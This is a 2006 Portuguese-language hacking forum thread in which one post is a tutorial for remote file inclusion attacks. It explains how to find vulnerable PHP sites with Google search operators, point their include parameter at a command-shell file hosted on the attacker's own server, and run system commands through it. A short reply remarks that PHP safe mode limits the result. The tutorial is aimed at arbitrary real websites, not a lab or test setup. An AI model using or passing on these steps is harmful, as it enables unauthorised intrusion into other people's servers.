FORUM DARKERS

Segurança & Hacking => Penetration Tests => Topic started by: Anonymous on 28 de May , 2006, 01:06:16 AM

Title: [TUTORIAL] Acessando SHELLS
Post by: Anonymous on 28 de May , 2006, 01:06:16 AM
Vamos mostrar como acessar shells

Ferramentas:

1 - Google
2 - Cmd.txt (qualquer extensao vale menos .php)
3 - Um servidor qualquer

Hospede o cmd (no caso aqui cmd.txt) no seu servidor

Imagine o exemplo: http://www.lostmind.com.br/cmd.txt (http://www.lostmind.com.br/cmd.txt)

Agora no google procure por

allinurl: "?url=index.php"
allinurl: "?include=index.php"
allinurl: "?file=index.php"

Ou coisas nesse genero de inclusao de pagina

Encontrada algum (exemplo: www.lamm0z.org?url=index.php (http://www.lamm0z.org?url=index.php))

Altere para: www.lamm0z.org?url=http://www.lostmind.com.br/cmd.txt (http://www.lamm0z.org?url=http://www.lostmind.com.br/cmd.txt)

Ai vc usa os comandos da cmd
os mais comuns sao

cmd.txt?cmd= COMANDO AQUI
ex: cmd.txt?cmd=ls -a

Pronto vc ta acessando a shell
Em alguns casos essas shells nao da muito trabalho para ser encontradas

Flw Boa sorte! ()
Title: Re: [TUTORIAL] Acessando SHELLS
Post by: rog on 28 de May , 2006, 01:39:35 AM
vlw

isso nao e bem um shell

se o servidor estever rodando php em safe mode vc so conseguira abrir um file manager

rog